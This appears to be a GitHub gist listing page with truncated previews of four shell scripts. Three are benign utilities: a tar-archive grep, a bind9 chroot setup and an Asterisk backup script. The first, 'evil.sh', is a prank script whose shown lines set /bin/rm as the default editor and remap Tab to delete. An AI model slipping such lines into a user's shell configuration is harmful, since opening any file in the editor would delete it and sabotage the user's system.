This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
# evil.sh — https://mths.be/evil.sh | |
# Set `rm` as the default editor. | |
export EDITOR=/bin/rm; | |
# Make Tab send the delete key. | |
tset -Qe $'\t'; | |
# Randomly make the shell exit whenever a command has a non-zero exit status. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /bin/bash | |
[ "$#" -ne 2 ] && exit 1 | |
tar -tf "$2" | grep -v '/$' \ | |
| while read file | |
do tar -Ozxf "$2" "$file" | grep "$1" && echo $file | |
done |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /bin/sh | |
# bind9-chroot.sh: bind9 in jail | |
# github(at)skrynnyk.pl | |
# | |
CHROOTDIR=/var/lib/named | |
if [ -d $CHROOTDIR ]; then | |
echo *** $CHROOTDIR exists. | |
exit 1 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /bin/sh | |
# asterisk-monitor-backup: | |
# dev at skrynnyk.pl | |
# | |
# echo '10 3 1 * * root test -x /usr/local/sbin/asterisk-monitor-backup && /usr/local/sbin/asterisk-monitor-backup' >/etc/cron.d/asterisk-monitor-backup | |
# | |
DELETE_FILE_AFTER_BACKUP=1 | |
COMPRESS=tar # tar, zip | |
CONVERT=mp3 # mp3 |